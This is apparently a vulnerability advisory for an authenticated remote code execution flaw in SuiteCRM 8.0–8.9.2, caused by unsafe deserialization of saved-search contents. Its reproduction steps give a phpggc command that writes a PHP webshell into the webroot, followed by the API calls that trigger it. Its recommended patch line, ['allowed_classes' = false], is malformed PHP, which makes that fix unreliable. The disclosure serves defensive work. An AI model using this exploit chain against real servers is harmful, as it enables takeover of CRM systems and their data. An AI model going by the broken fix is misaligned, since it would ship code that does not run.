Back to Advisories

CVE-2026-29109 - SuiteCRM Authenticated Remote Code Execution via Unsafe Deserialization in SavedSearch Filter Processing

Author and Researcher

Ravindu Wickramasinghe

Ravindu Wickramasinghe

@rvz

1. Description

SuiteCRM ≤ 8.9.2 contains an unsafe deserialization vulnerability in the SavedSearch filter processing component that allows an authenticated administrator to execute arbitrary system commands on the server. FilterDefinitionProvider.php calls unserialize() on user-controlled data from the saved_search.contents database column without restricting instantiable classes.

An administrator injects a malicious serialized PHP object into saved_search.contents via the Legacy REST API's set_entry method, which writes the payload directly to the database without validation or re-serialization. When any user subsequently triggers a GraphQL moduleMetadata query for the affected module, the application deserializes the stored payload with unrestricted unserialize().

SuiteCRM 8.9.2 bundles Monolog 1.27.1, providing the Monolog/RCE2 gadget chain - the deserialized SyslogUdpHandler wraps a crafted BufferHandler in its $socket property. During garbage collection, AbstractHandler.__destruct() calls close(), which triggers BufferHandler.flush(). The buffer is processed through stacked processors via call_user_func(), executing arbitrary commands as the web server user.

Injection must use the Legacy REST API (/legacy/service/v4_1/rest.php) because the GraphQL saveRecord path passes through FilterContentMapper.toBean(), which re-serializes contents as a plain array, destroying any gadget chain objects.

Affected versions: SuiteCRM 8.0 through 8.9.2
Not affected: SuiteCRM 7.x (confirmed on 7.15.0)

2. Source Code Analysis

Vulnerable code at core/backend/Filters/Service/FilterDefinitionProvider.php line 39:

terminal
$contents = unserialize(base64_decode($row["contents"]));

$row["contents"] originates from the saved_search database table. The base64_decode() output passes directly to unserialize() with no allowed_classes restriction, permitting instantiation of any autoloaded class. The Monolog/RCE2 gadget chain exploits BufferHandler's processor array - during object destruction, call_user_func() executes the attacker-supplied function, achieving arbitrary command execution.

3. Steps to Reproduce

  1. Generate a Monolog/RCE2 payload using phpggc that writes a webshell (adjust webroot path for target):
    terminal
    phpggc Monolog/RCE2 system 'echo "<?php system(\$_GET[c]);?>" > /var/www/html/public/legacy/shell.php' -b
  2. Authenticate to the Legacy REST API at /legacy/service/v4_1/rest.php using the login method with administrator credentials (password as MD5 hash). Note the session ID and user ID.
  3. Call set_entry on the SavedSearch module with: name = any value, search_module = Accounts, contents = the base64 gadget chain from step 1, assigned_user_id = the authenticated user's ID.
  4. Authenticate to the SuiteCRM frontend via POST to /login with JSON credentials and a valid X-XSRF-TOKEN header from an initial GET request.
  5. Send a GraphQL POST to /api/graphql:
    terminal
    { moduleMetadata(id: "/api/module-metadata/accounts") { listView } }
    This triggers FilterDefinitionProvider.getFilters(), which deserializes the injected payload.
  6. Verify execution: GET /legacy/shell.php?c=id returns the web server user's identity, confirming command execution.

4. Proof of Concept

5. CVSS

CVSS 4.0 Score: 8.6 (High)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

6. Recommendations

Add allowed_classes to the unserialize() call in FilterDefinitionProvider.php line 39:

terminal
unserialize(base64_decode($row["contents"]), ['allowed_classes' = false])

This blocks all gadget chains while preserving expected array deserialization. Apply the same fix to FilterContentMapper.php at lines 113 and 144, where allowed_classes is currently true.

Long-term, migrate saved_search.contents from PHP serialization to JSON (json_encode()/json_decode()), which cannot represent PHP objects and is inherently immune to deserialization attacks.

7. Note on SuiteCRM 7.x

SuiteCRM 7.x is not affected. FilterDefinitionProvider.php is part of the Symfony-based backend introduced in SuiteCRM 8.0. The 7.x SavedSearch module uses hardened unserialize() calls with ['allowed_classes' => false] (lines 328 and 496 in modules/SavedSearch/SavedSearch.php).

8. References